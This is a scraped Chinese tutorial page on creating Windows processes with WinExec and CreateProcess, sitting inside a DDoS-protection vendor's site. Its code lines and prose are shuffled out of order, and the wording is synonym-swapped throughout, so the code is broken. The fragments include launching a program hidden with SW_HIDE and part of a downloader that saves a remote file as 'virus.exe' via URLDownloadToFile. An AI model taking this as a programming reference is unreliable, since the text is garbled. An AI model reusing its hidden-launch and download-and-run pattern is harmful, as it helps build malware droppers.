网络安全编程:创建进程-墨者安全-墨者盾
DDOS防御_CC防护_高防CDN服务器_【墨者安全】—墨者盾墨者盾—你的网站贴身保镖!

QQ:800185041
高防免费接入:400-0797-119

渠道合作:156 2527 6999

主页 > CC防护 > 网络安全编程:创建进程

网络安全编程:创建进程

小墨安全管家 2021-02-22 04:12 CC防护 89 ℃
DDoS防御

); 

 DWORD dwXSize; 

#include <stdio.h> 

2. CreateProcess()函数介绍与程序的启动

typedef struct _PROCESS_INFORMATION { 

 WORD cbReserved2; 

bInheritHandlers:指定当前进程中的可继承句柄是否被新进程继承。

 LPTSTR lpCommandLine, // command line string 

上面的内容不过一具简单的小插曲。回归正题,开始介绍CreateProcess()函数的使用。CreateProcess()函数的定义如下:

  char szVirus[MAX_PATH] = "d:\\virus.exe"

WinExec("c:\\windows\\system32\\notepad.exe", SW_HIDE); 

int main() 

lpCommandLine:指定欲传给新进程的命令行的参数。

 DWORD dwProcessId; 

 return 0; 

 NULLNULLNULL, &si, &pi); 

 DWORD dwYCountChars; 

 NULLNULLNULLFALSE

UINT WinExec( 

 LPTSTR lpReserved; 

这是很简单的一具程序,按下F7键举行编译和连接,接着按下F10键开始举行单步调试状态,打开VC6的CallStack窗口(调用栈窗口),观看其内容,如图2所示。

#include <windows.h> 

 HANDLE hThread; 

int main() 

 si.cb = sizeof(STARTUPINFO); 

网络安全编程:创建进程

 DWORD dwXCountChars; 

 printf("CreateProcess Error ! \r\n"); 

 DWORD dwFillAttribute; 

 } 

该结构体在使用前,需要对cb成员变量举行赋值,该成员变量用于保存结构体的大小。普通创建一具进程,只需要初始化其中几个参数即可,假如要对新进程的输入输出重定向的话,会用到该结构体的更多成员变量等。

 DWORD dwCreationFlags, // creation flags 

 LPBYTE lpReserved2; 

第1个参数比较好理解,比如要执行“记事本”程序,这么那个参数就能够是“C:\Windows\ System32\Notepad.exe”。第2个参数是指明程序运行后窗口的状态,常用的参数有两个,一具是SW_SHOW,另一具是SW_HIDE。SW_SHOW表示程序运行后窗口状态为显示状态,SW_HIDE表示程序运行后窗口状态为躲藏状态。能够试着创建一具躲藏显示状态的“记事本”程序,想法如下:

 BOOL bRet = CreateProcess(EXEC_FILE, 

BOOL CreateProcess( 

在调用栈中有3行记录,双击第2行“mainCRT Startup() line 206 + 25 bytes”,查看代码编辑窗口的内容,此刻的代码为调用主函数main()的C运行时启动函数(简称启动函数)。代码编辑窗口内容如图3所示。

); 

通常事情下,创建一具进程会挑选使用CreateProcess()函数,该函数的参数不少,功能强大,使用也更为灵便。关于WinExec()函数来讲,其使用简单,也只能完成简单的进程创建工作。假如要对被创建的进程具有一定的操纵能力,这么必须使用功能更为强大的CreateProcess()函数。

 LPCSTR lpCmdLine, // command line 

 LPSECURITY_ATTRIBUTES lpProcessAttributes, // SD 

在有点事情下,希翼被创建子进程的主线程临时不要运行,这么能够指定CREATE _SUSPENDED参数。事后希翼该子进程的主线程运行的话,能够使用ResumeThread()函数使子进程的主线程恢复运行。

 LPBINDSTATUSCALLBACK lpfnCB 

  URLDownloadToFile(NULL, szUrl, szVirus, 0, NULL); 

网络安全编程:创建进程

使用VC6来写一具简单的程序。经过调试那个简单的程序,看看C语言程序是否的确由main()函数开始执行。写一具简单的输出“Hello World”的程序来举行调试。程序代码如下:

假如要观看系统中正在运行的进程,这么并且按下键盘上的Ctrl+Shift+Esc组合键就能够打开“任务治理器”,也就看到了系统中正常的进程列表,如图1所示。关于任务治理器中的众多列,要紧关怀的是“映像名称”“PID”和“线程数”3项,这3项在编程中都会用到和涉及。

 DWORD dwY; 

 DWORD dwYSize; 

 UINT uCmdShow // window style 

  return 0; 

 DWORD dwX; 


DDoS防御

当前位置:主页 > CC防护 > 网络安全编程:创建进程

标签列表
DDoS防御
网站分类
X
 

QQ客服

400-0797-119